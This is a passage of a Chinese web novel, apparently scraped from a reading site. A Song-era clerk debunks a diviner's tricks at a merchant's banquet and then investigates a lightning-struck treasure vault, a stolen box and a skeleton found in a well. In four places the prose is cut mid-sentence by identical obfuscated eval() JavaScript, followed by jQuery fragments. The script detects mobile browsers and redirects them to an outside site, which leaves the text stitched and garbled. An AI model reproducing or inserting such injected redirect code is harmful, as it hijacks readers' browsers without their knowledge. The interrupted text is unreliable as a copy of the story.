他转过身来,告诉大家与水官已经沟通过了,水官同意他们在纸上写下自己的愿望,必有回复,还不要钱。
宋连让那个下人去汴河里打一桶水来,省去了折小船的环节,直接将纸用汴河水浸润,立等片刻,纸张空白处也逐渐显现出淡淡的黄色字迹:“好!”“行!”“大善!”“OK!”“没问题!”……
众宾客发出惊叹,尽管其中有些“回复”,根本看不懂是什么意思。
“水官的意思是,都是李公子的朋友,好说好说,各位的愿望他照单全收了!”
就连甲丁也一副目瞪狗呆的样子,更别说王彦之了。刚才还一副嘲笑不屑的嘴脸,现在他那双小眼睛里也闪烁着不可思议的光,
宋连对这个效果十分满意,进而大言不惭:“我初来乍到,不知这大黑天到底是何方神圣,汴京百姓对他如此虔诚。但我们这位李公子,白衣翩翩,称的上是‘大白天’。没道理大黑天能做的事,大白天做不得,又不是什么见不得光的事。所以,大黑天有什么呢,他会的李公子都会啊,他不会的李公子也会啊。”
原来无责任吹牛皮是这么爽的一件事!
李士卿几度欲言又止,脸比那大黑天还黑。憋了半天最后也只能无奈叹口气:难得这位宋检法有机会展示他的科学技法,随他去吧!回头给水官大人供些好物,应该不会怪罪。
04
被宋连这么一吹捧,李士卿身上那些符纸瞬间就被抢购一空,宋连维持秩序,甲丁在一旁帮忙收银,生生把王彦之的宴席变成了一场展销会。
宋连以前不能理解为什么有些人放着好好的日子不过,非要去职业行骗,现在他知道了:钱没了可以再挣,但如果良心没了,就会挣得更多。
他认为等一会儿很有必要和李士卿好好谈谈,下半年的房租应该给他免单。
不过这些琐事在正式开席的瞬间都变得不重要了。
在饭有引力的作用下,宋连和甲丁很难把头从饭菜中抬起来。干饭人,干饭魂,没有一顿大餐解决不了的问题,如果有,就再来一碗!
几道菜入腹,席间便开始觥筹交错。
李士卿吃素,也不喝酒,王彦之显然早就知道,不但自己不劝酒,也帮他挡了好些来攀谈敬酒的宾客。
此时一年轻女子走进宴会厅,众宾客见了纷纷起身致意。
甲丁疑问:“谁家姑娘,地位如此高?”
只见王彦之满面笑容,迎上前去,向众人介绍:“诸位大概都认得,给新朋友介绍介绍:我家三姑娘,单名一个瑜,瑕不掩瑜嘛!”
原来是王彦之的女儿,家中排行老三,熟人都称她三姑娘。
说起三姑娘,四下宾客
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104393|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又开启了夸夸模式,称她才是王彦之家中的顶梁柱,凭一己之力将这么大的家宅管理得有条不紊。
宾客甲称赞:“几年前我初到王兄宅邸,那抬轿的轿夫脚程十分平稳,我只是不经意与三姑娘说了一嘴,自那之后,回回登门拜访,总是那两位轿夫接送。可见三姑娘用心啊!”
宾客乙连忙附和:“这还不算最厉害的,王兄宅邸雇佣如此多的家仆,这么多年一直做得稳定,没听说谁不满意不干了。”
宾客丙也接话:“说到家仆,王兄宅邸可有仆人五十?”
王瑜微微一笑,答道:“您好眼力,刚好五十。”
“这就对了!我大概一算,光是家仆的工钱每年就要二三百万,可见王兄家的财政大权,都掌握在三姑娘手中啊!”
王彦之满面笑容:“你要不说,我还真不知道这些杂项开销都有多少。多亏小女替为父操心这些琐碎小事,这个家里里外外全靠她。”
宾客丁见机端起一杯果子酒,要敬王瑜一杯:“三姑娘不但持家勤俭,关键还识得大体,该立门面的时候从不吝啬。听说今日主持这席餐食的厨娘,是京城顶有名的。那价格也是顶贵了!”
王瑜满上一杯,先干为敬,轻柔抹了抹唇角,说:“大人品过珍馐无数,能得您夸赞,实在荣幸!这厨娘确实金贵,做菜也十分讲究,从前在宰相府中做菜,被我二哥寻来,现在是我们州桥酒家一顶一的大厨!”
州桥酒家?不就是李士卿总点外卖的那家?难怪今天这菜品的味道这么熟悉。原来那酒家也是王彦之家的产业之一啊!
宋连在心里默默羡慕了亿下下,多吃了两口。
王瑜介绍了厨娘,就顺道将她请到了台前,大方向大家介绍:“这就是今日为大家烹制佳肴的厨娘,云娘。”
云娘梳着一个发髻,头戴元宝冠。两臂带着袖套,身前裹着花格子围布,穿着藕色窄袖长襦,墨绿色的长裙盖住了脚面。整套装束干练十足。
比这身职业装更抓人眼球的,要数她的长相。
一张标准鹅蛋脸,脸上薄施脂粉,白里透着淡淡的清气。眉如远山,眼似秋水,鼻腻鹅脂,唇点樱桃。即便在烟火气十足的后厨,也要在眉心贴上花钿。
刚才还在狼吞虎咽的甲丁,在看到云娘的那一刻,连呼吸都停下了,手中的羹匙“叮当”一声掉在桌上。
云娘听到了这细微不和谐的声音,转头看向甲丁,捂嘴偷笑起来。
王瑜也笑了笑,对云娘说:“你烹制的美食,就由你向各位大人介绍一番吧!”
云娘点头,大方走到一桌旁,指着其中一道菜介绍说:“各位大人享用的这道‘羊头签’,虽然只有一小碟,每份却要用十个羊头,一个羊头只用两块脸肉;再看这五碟配菜的葱齑,只取葱芯最嫩的部分,一共用了五十斤青葱”
王瑜笑着说:“叫你推荐你的拿手好菜,你倒说起这奢靡铺张的做法,我看还有谁家敢聘你!”
不知这话戳到云娘哪处痛,她表情不自然地尬笑了一下。
刚才夸赞王瑜的一位宾客又接了话茬:“三小姐把自家宝贝厨娘推销出去,不怕影响了州桥酒家的生意?”
王瑜又笑:“倘若有哪位大人能出得更高的条件,我自然愿意这么优秀的厨娘得到更好的生活。”
宾客纷纷啧啧称叹,夸王瑜大气量大格局,也夸王彦之豪横又好客。
王彦之被捧的红光满面,肥手一挥:“哎,这些不过几两碎银,怎能与我们的情分相提并论!诸位的光临令我这寒舍蓬荜生辉,自然要上一些配得上各位的菜品和美人儿了!”
这边话刚落音,那边两列歌舞伎就登场,宴席再次热闹了起来。
54.05 滕王高阁临江渚,接着奏乐接着舞
01
从前只在电视上看到的国风歌舞现在就在宋连眼前上演。难怪那么多昏聩的皇帝都沉迷于夜夜笙歌,是真好看啊!
据说王瑜请来的是汴京顶好的歌舞团,光是演员的出场费就花了5000贯,差不多500万!
正当宋连心算着什么歌舞团能有这么排面的出场费,宾客忽然一阵惊呼,一名犹抱琵琶半遮面的歌姬走了出来。
甲丁“哇哦”一声,激动地拽着宋连的袖子:“常、常姑娘!”
常姑娘又是谁?
只见甲丁从怀中掏出他的小本本,翻出空百的一页,用手掌仔细压平整:“机会难得,等会一定找机会留下姑娘墨宝!”
虽然不知道常姑娘何许人也,但现场除了甲丁,还有好几个有头有脸的宾客也拿出了纸张跃跃欲试。
宋连懂了,台上是个歌星。
“常姑娘是汴京歌舞伎中的头牌,官家都曾专门邀请她去宫里表演!王彦之的宴请居然这么大排场!”甲丁的小本本已经被捋得平直,再捋下去纸张就要碎了,“听说她一曲就要将近一百贯!”
一首十万,宋连算了算,她这已经是第三首了……
宋连轻轻捣了捣李士卿的胳膊肘:“其实你这个长相,进娱乐圈也是绰绰有余,你不考虑一下吗?赚得可比你卖折纸多得多了!”
李士卿躲开了宋连的“骚扰”,往他碗里塞了一坨青菜,试图让他闭嘴。
02
太平盛世,歌舞升平。窗外人群涌动,河中星星点点。州桥夜市已经响起悠长叫卖,汴京又拉开了繁华一夜的帷幕。
宋连脑海中突然闪现出一句不知从哪看来的话,随即便脱口而出:“华夏民族之文化,历数千载之演进,造极于赵宋之世”。
“繁华?”李士卿疑惑。
“不是吗?你看啊,大资本家暂且不说,老百姓有购买力,小商户生意也挺兴隆,娱乐业发达,文化圈也算百家争鸣,台上各位老师今天一晚上赚的比我一整年工资还高!就连骗子——我不是说你啊——都相当有市场。”
“宋检法认为,是什么造就了汴京的繁华?”
“当然是——”
李士卿示意宋连先不要着急回答,而是指了指远处汴河港口停靠的船只。
顺着满河莲灯向远望去,繁忙的汴河码头上,几群人似乎正在发生冲突:一群巡检正试图强行登上货船“例行检查”。
船商模样的人将腰弯成了虾米,僵硬着笑脸给十几名巡检每人打点一番。
原本正在歇息的脚夫看到之后,纷纷向船商讨要工钱。
宋连听不清船商说了什么,只看到他的双手在空中挥舞一番,脚夫们垂头丧气,最终留给宋连一个个无奈的背影。
“倘若人人生活富足,又何须向神明祈愿?这百千万只灯船里,装着的难道不是众人的贫穷、疾病与苦厄?不过有件事宋检法倒是说得很对,百姓何以如此虔诚地信奉那些装神弄鬼的骗子呢?”
李士卿偏过头问:“三小姐认为呢?”
宋连这才发现,王瑜摇着一只小扇子斜靠在旁边一扇窗棂,也正关注着码头上发生的那一幕。舞姬的影子投射在她脸上,忽明忽暗。
被李士卿一问,王瑜才回过神似的,抱歉地笑了笑:“我一个深闺长大的小女子,哪知道这些,李公子拿我逗闷子呢!”
李士卿也投出一个笑容:“三小姐才是。如此繁复琐碎的内务能打理得井井有条——”
哐当!
宴会厅的门被大力推开,三个男人站在门口,确切的说是左右两个怒气冲冲地扭着中间无奈的那个。
王瑜的脸上闪现过一丝厌恶,但转瞬即逝。
03
王彦之一共有子女四人,除了老三王瑜是个女儿,其余四人都是儿子。
大儿子叫王德财,主要掌管王家大宗货物的进出口运输。尤其香料、茶叶、酒曲这三种货品,王家的贸易量占据市场上将近60%的份额。
老大运来的货物一部分卖给其他商贩,另外相当一部分就靠老二王德宝负责的酒店、香料铺子、药店和金银玉器铺子销售。
王家产业做到今天这样大,论财富不说富可敌国,也能轻松打进北宋富豪榜前茅。可家中若没有走仕途做官的人,身份地位上还是会低人一等。
对王家来说,跨越阶级的唯一途径就是供出一个科考上岸的儿子。而小儿子王德仕,人如其名,就是王彦之寄以厚望的未来。
三个儿子各自掌管着王家一部分命脉,按说应该闪亮登场才对。但看现在这模样却是要多狼狈有多狼狈。
面对一屋子人的热情相迎,三个人加起来也挤不出半个笑脸。
“大哥二哥四哥,这是遇到什么事儿耽误了,怎么才到?”王瑜早已挂上了标志性的笑容,一边活跃气氛一边迎了上去。
王彦之一看这阵仗,就已经猜到了原委,凑到三人跟前短暂耳语一番,打发哥仨落座。老大老二姗姗来迟,主动端酒自罚,与众宾客打了一圈。
老四却一副兴致恹恹的样子,直到常姑娘歇好了嗓子返场安可一曲,他又两眼放光,全然不是刚才被押送回来那副要死不活的样子,眼珠子像是嵌在了姑娘身上似的,一边荒腔走板的高声跟唱,一边“钿头银篦击节碎”。
且不说这王德仕以后能否“得仕”,反正现在看上去,浑身上下没有半点士大夫细胞。
他毫无礼数不顾形象的嚎叫,让王瑜十分恨铁不成钢。“让诸位见笑了,我家四哥生性不羁,宋检法与甲大哥头回来,莫要见怪。”
俩人当然不会见怪,毕竟这顿饭吃得相当巴适。
“其实学习好坏是基因决定的,跟后天努不努力有点关系但不多。”待王瑜离开,宋连小声嘀咕。
甲丁听了个莫名其妙:“啥?基因又是何物?”
宋连绞尽脑汁,终于想到一个适合甲丁理解能力的说辞:“基因……就是命运!”
果然,甲丁了然点头,看向李士卿:“李公子何时收宋检法做了徒弟,若不嫌弃,也受我一拜吧!”
04
这场宴席直到午夜才将将散场,大多数宾客都酊酩大醉。
偏偏一直晴好的天气却突降大雨。按说马上立冬,不太会下这样大的雨,伴随着电闪雷鸣,像是回到了夏天的雨季。
可毕竟是深秋,一场雨落下,空气里全是阴冷潮湿的魔法攻击。
王瑜打伞在雨中站立了足足半个时辰,将客人一一送上各自的专车。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120258|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
李士卿他们是压轴来的,也是最后一波走的。这么大个烂摊子,虽然有五十个家丁仆役收拾,但王瑜也片刻不能闲,宋连和甲丁尽己所能帮了些忙才离开。
大雨天路尤其难走,牛车深一脚浅一脚走得颠颠簸簸。
甲丁喝了不少,被晃得有点晕,想找个话题转移一下自己的注意力,于是便想到了宋连在宴席上与水官沟通那一出。
“宋检法,你真与李公子学了术法?”
宋连想说怎么可能,自己根正面红唯物主义,但又想起自己还挂着“夺舍”的头衔,再次咽下了马列主义这口气。
“我在纸上用米汤写了一些字,待米汤干了之后,字迹隐藏了起来,但米汤中一种叫‘淀粉’的东西也留在了纸上。”
甲丁听得认真,问:“又因何显现了?”
“那个‘大黑天神’选择在那片河域作法,是有原因的。那里水藻繁茂,藻类中含有一种叫做‘碘’的成分,这种成分和米汤中的淀粉相遇,会产生反应使淀粉便蓝。不过河水中的碘含量太少,米汤里的淀粉含量也有限,所以反应微弱,不是蓝色,而是黄色。”
甲丁的嘴巴又变成了“O”型,消化了半天也只听明白了个大概,“宋检法,你身体内这位……都在哪里学到如此渊博的知识?黄帝内经?齐民要术?”
宋连摇头:“这叫科学。”
05
甲丁不知道何为科学,但他知道自己刚才用脑过度,现在只想呕吐。
他把脑袋伸出车棚外,“咦?落霜了?”
宋连也探出头去,天空中确实多了白色的颗粒,但看这下落的速度,不像是霜,倒更像冰雹。他伸出手接了一些仔细看,果然是细碎的冰碴。
甲丁呼吸了新鲜冷空气,忙钻回车棚内,宋连刚要动,黑暗中劈出一道闪电,力度极强,霎时照亮了整个天空。宋连被雷声轰得有些耳鸣,混沌的大脑突然在想,若是这时候揣一个金属物件,被这么厉害的闪电劈一下……
但他不敢。
小学课本上学过科学家富兰克林将金属钥匙拴在风筝上在雷雨天找劈的故事。
宋连至今不明白,这种虚假的故事为什么非得印在课本上,就不怕小孩子真的做实验然后不小心穿越走了吗!还有牛顿被苹果砸、比萨斜塔丢小球……
“轰——!”又一道惊雷将眼前的黑暗照亮如白昼。一张被雨水淋透、冻的惨白、嘴唇青紫的脸怼在了宋连面前。
宋连猝不及防,下意识喊出一声向车棚里栽进去。甲丁和李士卿还没搞清楚发生了什么,他又翻身起来探头出去了。
“何事啊宋检法?”甲丁也跟着探头出去,连李士卿也凑到了门边。
“刚才有个人,好像是个姑娘。”宋连再探头出去时,车沿已经空空如也。他冒着大雨探出身子在牛车四周看了一圈,又朝刚才经过的方向使劲远望。
但夜色太黑,雨又太大,什么都看不见。
“是不是你看错了?”甲丁也什么都没看见,“或许是方桂儒那件事,你还没放下呢?”
宋连没答话,他很确信自己没有看错也没有出现幻觉,他确实看到了一个姑娘。
车棚里,李士卿掐算的手指突然一滞,眉心微微皱了起来。
55.06 莫装逼,装逼遭雷劈
01
“李郎君!是我,王彦之!哎呀呀天塌了啊李兄!”
休沐假期第二天,一大清早,王彦之就一嗓子接一嗓子嚎醒了睡梦中的宋连。
他迷迷糊糊走出房门的时候,甲丁也刚刚穿好衣服走到屋外,李士卿已经衣着整齐迎上了王彦之。
天还没亮透,李士卿这是已经起了,还是压根没睡?
宋连也没空细琢磨,王彦之已经小跑到了他们跟前,噗通一声栽坐地上。五十岁的老Homie像个孩子一样哇哇大哭起来:
“哎呀李兄!大事不好了,我家里遭天谴了!”
02
不过几个小时,宋连再次来到了王彦之宅邸。
相比昨日的趾高气昂,此刻的王彦之脸上挂满了惊恐与无措。
轿夫将宋连三人抬至一座屋宇前停下。眼前的房屋瓦片碎裂、房梁崩塌、石土渣掉了一地。
王彦之欲哭无泪:“昨夜是哪位神仙渡劫?与我王家有何仇怨!叫那雷电不顾死活往下劈啊!我没做过伤天害理之事,为何会遭天谴!”
他肥胖的躯体承受不住激动的情绪,更支撑不了这么大的活动量,边说边喘。
原来昨夜强对流雷暴,有一道正中了这座屋子房顶。一次雷击的能量是极其巨大的,瞬间电压可达上亿伏特,电流数万安培,屋顶的瓦片会因急剧的热胀冷缩而炸裂;雷电通道中的空气被瞬间加热,急速膨胀形成冲击波,正是这股力量将瓦片和下方的木质结构震碎、掀飞。
以上是宋连看到的物理过程,但在王彦之眼中,这就是不折不扣的天谴。
莫装逼,装逼遭雷劈。宋连心想。
若仅仅是屋顶被雷劈了个洞,王彦之是绝不会如此兴师动众亲自跑一趟请李士卿求助的。
“家中可丢失了什么财务?”李士卿问。
王彦之肥腿狠狠一跺,“啊呀”一声:“李公子果然料事如神!”说罢干脆往地上一座,撒泼似的哭了起来!
啧啧啧,好歹也是汴京富甲一方的壕,这副样子合适吗?宋连努力控制自己“咦~”的嫌弃表情,突然想到:这老头该不会是在撒娇吧!随即浑身一激灵,转过身去了。
03
活该李士卿吃这碗饭,无论金主多么的特立独行、古怪离奇,他都能像伺候亲爹一样温暖、体贴。
哪怕这活爹千斤重,李士卿也能像提一只小鸡仔一样单手拎起,似乎毫不费力。
“王兄莫着急,遗失了何物,与我详细说说,至少能为你卜一卦方位。”
李士卿边说边摊开手掌,一枚金闪闪的元宝就从王彦之手中转移到了他的掌心。
“那可就麻烦李兄了!”
王彦之把李士卿往漏顶的房屋中让,宋连便自然而然地跟在李士卿后面,甲丁则跟在宋连身后。
结果李士卿前脚刚踏进房屋中,宋连就被王彦之拦在门外。
“二位请留步,”王彦之看向李士卿,“我知二位都是李兄好友,但此事乃我王家私事,无需报官,也实在不方便开封府的衙役介入。”
话说的似乎也没错。人家丢了东西也没报官,自己是有点瞎凑热闹的嫌疑。宋连默默骂自己职业病没救了,一边点头往后退了退。
李士卿却也跟着退出了房屋。
“李兄这是……”
“王兄,宋连虽为提刑司检法官,但他正在休沐中,亦未着官服,是以朋友身份而来,念着王兄昨日的款待,想着今日或许能帮上些忙。”
王彦之抖动着脸上的肉,略微尴尬地笑着说:“那我要多谢这位宋检法,但是……”
“况且,宋检法自从中元节那夜遭遇变故之后,获得了非常人之能力。恰巧此事又发生在下元节当夜……”
李士卿递给王彦之一个不可说的眼神,让王彦之细细琢磨去吧。
王彦之这精明的头脑,哪还需要细细琢磨?当即就转过弯来,对着宋连做了个“请”的手势。
宋连昨天就对这个势利眼百看不爽了,现在更是压着一口贫穷的闷气没处发泄,见王彦之俯身邀请,便一把拽过甲丁,说:“要我出手也不是不行,但我的助理必须跟着。”
说着将甲丁一同拉进屋内,还不忘回头提醒王彦之:“我和助理的出马费,直接给李士卿就行了。”
他没看王彦之的表情,也不关心。心想还好没有纪检委!
04
待他们走进这屋内,才明白为什么王彦之遮遮掩掩不想让更多人知道。
像王彦之这样的京城大户,值钱的宝贝都会有专门的财库存放。
这财库当然不能修在显眼的地方,但地下太潮湿又容易发霉腐败,暗室才是最好的选择。
他们所在的这间房屋是王彦之的书房,面积很大目测有六、七十平。四面墙壁都打了高大的置物架,其中一面墙的置物架上摆放着一些古董文玩、瓷器摆件。
很难看出这其实是通往另一间暗室的大门。
宋连想起自己家里装修时,设计师特意在电视背景墙上给他做了个暗门,关上之后很难发现那里有一扇通往卧室的门。
当时设计师告诉他这是今年最流行的“暗门”。
他回头一定要告诉那设计师,什么今年流行,不都是一千年前的古人玩剩下的!
王彦之刻意用宽厚的身躯挡住他们的视线,不知做了什么操作,那面“墙”发出“咔彭”的声响,像是带弹力的锁打开的瞬间,门被弹出的声音。
果然再一细看,那面“墙”从中间分开成两半,其中一半已经打开了五六公分。
王彦之抓住置物架稍稍用力,这半面“墙”丝滑地敞了一米多,足够大家看见里面一排排储物柜上码放着的各种奇珍异宝。
05
宋连知道自己盯着人家的宝贝是很不礼貌的,但这场面太震撼了,比里赵德汉在家里藏了两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133216|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亿现金,堆满了冰箱床下和墙壁还要震撼一百倍!
暗房此刻并不暗,因为天花板某处被“开天窗”了,雨后的阳光直射下来,打在那些个珠光宝气身上,又反射到宋连眼中。
宋连下意识的反应是:查!顺藤摸瓜的查!这条线保准能拽出一串的大老虎!
但他只能幻想一下。至少在目前的情况下,这间比书房还要大上几倍的暗房,只能是王彦之“勤劳致富”的象征。
说来也巧,但昨夜那雷电的确强猛得吓人,但似乎并未听说引发哪厢哪坊走水,可偏偏就击中了王彦之家中最私密的地方。
难怪王彦之认定了这是“天谴”,又难怪他到此刻为止全程亲力亲为绝不假手他人。
“那宝贝原先就放于此处。”王彦之指着正对房顶大洞的一处桌台,上面只有一大块黑色绒布,被一堆烂泥覆盖了大半。“这丝绒布原本是盖在它上面的,今日我来查看,发现东西没了,只剩下这块破布!”
王彦之气的跺脚,溅起了一层水花。
雷电将房顶劈了个大洞,暴雨灌注进来,将这一处的所有宝贝都淋了个透。几件瓷器被打碎了,铜钱古币撒了一地,混在房顶掉下来的砖瓦碎片里。泥沙混着雨水将宝贝们都糊得像是泥塑,脏了吧唧,黏糊糊的,还有一股臭烘烘的味道。
“是桐油味”,甲丁捂着鼻子说,“像是什么漆木物件被泡了。”
宋连和甲丁仔细查看一圈,并没有发现外部侵入的痕迹。不过地面积了十多公分的水,即便有人进来过,也几乎不可能留下脚印等痕迹了。
李士卿在这摊“废墟”前走了几个来回,问:“丢失的究竟是何物?”
王彦之犹豫片刻,小声对李士卿说:“是一个宝匣。”
“哦,是黄金匣子?”
王彦之摇头。
“那是镶了翡翠宝石?”
王彦之还是摇头。
“宝匣里装的是?”
王彦之动了动嘴唇,只摇了摇头。
“满屋财宝,只丢了这一件?”
王彦之点点头。
李士卿垂下双手,面色不悦:“王兄,你要我来寻找丢失的宝贝,却又这般遮遮掩掩,恕我道行太浅,实在无力相助!”他掏出那枚金元宝,要塞还给王彦之。
王彦之也着急了,边推辞边说:“李兄莫要怪我!我也不知这宝贝究竟是什么!我……我还不曾打开看过,只依稀记得那匣子是金丝楠木的,大概这么大……”
王彦之简单描述了一番那个楠木匣子的大小和外观,看起来四五十公分宽高,他说的也是含含糊糊,跟不是他自家东西似的。
也难怪,这密室里排着成千上万件东西,样样值钱,他哪能记得住每件都是什么呢。
王彦之又摸出一锭金子放在李士卿手中:“虽不记得它是什么,但我能将它放在这个位置,想必也是很珍贵的,劳烦李兄帮忙算上一算吧!”
56.07 代购有风险,接单需谨慎
01
王彦之古怪的举动连甲丁都能看得出有猫腻,但东西是人家的,人家不愿意透露隐私也没什么不妥。
倒是李士卿,光明正大收了两锭金子,他最好是有点真本事的,否则就这个诈骗数额,还是被抓现行,判个十年八年都算少了。
李士卿口中默念咒语,又从衣袖中拿出一张符纸。
宋连心里翻了个白眼,觉得李士卿也算是黔驴技穷了,每回就这么两个招式来回骗,也太不敬业了,就不能没事多琢磨几个新花样吗!
果然,接下来就是手指夹住符纸轻轻一抖动,符纸又燃烧起来。
别说,这招“自燃”的确有点视觉效果,宋连认为这是纸上涂了白磷的缘故,但又觉得这么做也太危险了,搞不好白磷在衣服里就自燃了,这可不是开玩笑的。
符纸燃烧成为灰烬落在地上,接着神奇一幕出现了,灰烬好像铁粉遇到了磁性,慢慢变成了一个图像。
宋连只来得及一瞥,看到长短不一的几道横杠,像是一副卦象图。李士卿拂了拂衣袖,那图像就消失了。
王彦之和甲丁全程屏住呼吸,终于在图像烟消云散时再也憋不住,深深做了个吐息。
“怎么样,找到了吗?”王彦之气还没喘匀,迫不及待问。
“宅邸附近可有枯井一口?”
王彦之平日里,从厅堂到大门口都要坐轿子,出门就有驾撵接送,哪里知道这些。
他差人问了车夫:出偏门往西不到50步的确有一口废弃很久的枯井。
02
枯井直径大概一米出头,因为前夜刚下了一夜大雨,井底积了不少雨水。
水面上隐约有一团黑色的东西,像水藻一般垂在井壁,看不太清晰。
仆人们围绕在井口,正七嘴八舌商议着找根麻绳放下一个人去看看情况。
突然,那团水藻动了一下,又动了一下。
众人不敢出声也不敢动,观望着那团活动的水藻。
那团东西忽地翻了个面儿,露出一张惨白浮肿的脸。
这一下给井边几人吓得不轻,尖叫声此起彼伏。吵醒了那张脸,它缓缓睁开眼,看清了头顶上的人之后,大张着嘴发出“啊啊嗷嗷”的哭嚎,水下的两只手臂用力扑腾着,挣扎了半天才说出完整的三个字:“救命啊——”
王彦之才没有救人的心情,探头在枯井中打量匣子的踪迹,但井深水黑,什么都看不清。
“好你个偷宝贝的贼!竟敢偷到你爷爷头上!把匣子交出来,否则你别想出来!”
那人像是受了很大刺激,也不听王彦之的怒吼,一个劲重复着“救命啊”、“救救我”。
该不会是摔下去的时候撞到了头,给撞傻了吧?
喊话无果,李士卿劝王彦之先把人拉上来:“失魂症可治,人活着才能问出话来。”
王彦之想想有道理,命人放了绳索下去。
那人虽然神志不清,但求生欲很强,看到绳索之后毫不犹豫就套在身上。
井边两个家仆拉他,却拉不动。王彦之看到了希望,又唤来两个家仆,情急之下亲自上阵,要一同拉那贼人出来。
几个人废了九牛二虎之力,终于拉动绳索一点点向上移动。
李士卿三人在旁盯着井里那人,看他的脖颈、胸口、腰部一点点拖出水面。然后是大腿、小腿……
“等一下!”宋连突然喊道。
众人被吓了一跳,手松了劲,绳子又下去了一点,井里的人啊啊喊着。
“怎么?是匣子出来了?”王彦之顺着宋连的目光朝井里看去,然后低呼一声。
那落井男子的膝盖上处,缠着一双已成白骨的手臂。
03
李士卿此刻正看着那个从枯井里打捞上来的楠木匣子。
匣子捞上来第一时间,王彦之就打开检查里面的宝贝是否完好。结果里面空空如也。再仔细一看,这匣子和他丢失的那个也不是同一个。颜色大小相同,但花纹有细微区别。
“王兄,”李士卿指了指那个已经长满真菌杂草的破烂匣子,对王彦之说:“东西帮你找到了,剩下的事就是开封府的事了。”
原本是帮王彦之找找丢失的私人物品,结果现在非但演变成了偷窃案,还多出一具陈年白骨。
宋连回忆起两天前,傅濂批准他休沐期间绝不加班时,他内心是多么愉悦,多么振奋。
仅仅过去两天,两天!
如果昨天没有去王家蹭那顿豪门宴,他就不会认识王总;如果不认识王总,他就不会上赶着瞎凑热闹;如果没有瞎凑热闹,他就不会在假期第二天的清早,亲眼见证一具白骨的出现。
自找的,都特喵的是自找的!
宋连面对地上那一堆骨头,发出两声自嘲的冷笑:“李郎君,严格来说,这案件属于王彦之委托的附加产物,我加班归我加班,可你也别想袖手旁观,抓捕犯人归我管,处理死人不是你的活儿吗?”
李士卿只淡淡答道:“除祟之事……那是另外的价钱了。”
俩人还在较劲,王彦之却急得大喊:“不能报官!现在还不能报官啊!”
“官爷爷已经在此了,报不报你说了可不算!”甲丁早就看王彦之不爽,刚才他跳下井中泡在臭水里捞了半天白骨正一肚子邪火没处发,现在刚好一起算账。
看那一屋子宝贝,应该没几个来路干净的,刚好一起都罚没了,否则难解心头之恨!
王彦之着急归着急,态度倒一点没软下来:“你们可知这宝贝什么来头!今日若是找不到,我们所有人都要裤腰上别脑袋!”
04
王家的海外贸易做得大,有触达国内外各大贸易港口的人脉资源,自然就有达官贵人托他代购一些稀罕宝贝。
王彦之不缺钱,但缺一个“高贵”的身份。
商人阶层始终是他的一块心病。自己在生意方面其实已经到了躺平的年纪,他余生的目标就是交结一些当官的朋友,把自己的小儿子送上仕途,实现王家从商人到士人的阶层跨越。
而这次委托他代购货品的人,可谓是他千载难逢的机会。
这位委托人身份十分神秘,以至于全程王彦之都没有与他直接接触过,从下单到物流跟进,都是通过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144270|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好几道中间人几经周折,以密函书信的方式对线的。
王彦之的任务也非常简单:只需要按照对方交待的时间,到达指定地点,一手交钱一手交货,再全须全尾运回汴京,通过中间人层层传递,最终转交给这位神秘买家手中即可。
与其说是“代购”,不如说是“快递”。
任务很简单,但王彦之也犹豫过。因为买家太神秘,这中间很可能有坑。
让他最终接下这单的原因有两个:一是,虽然中间过手的人很多,但都是官场上有头有脸的人,其中不乏几个他打过交道的朋友。二是,这位买家虽然神秘但出手阔绰,为了打消王彦之的顾虑,他是先款后货,一次性付清了五千贯货款,也就是五百万,还预付了王彦之一百万的“跑腿费”。
对方只有一个要求:必须严格保密。
真金白银到手,王彦之实在想不出有什么恩怨是值得一群官老爷搭上百万银钱来坑他的。
但反过来想想,能出手如此阔绰,又刻意遮盖身份的,在朝中位置恐怕一人之下万人之上。他甚至想过,或许就是那一人之下的“一人”呢?
王彦之深思熟虑了一天一夜,最终决定接下这单。
05
王彦之的商船是三个月前从汴京出发前往安南(今越南)的。由于年事已高,他本人早就不参与跑船进货了,都是由大儿子王德财带队往返。
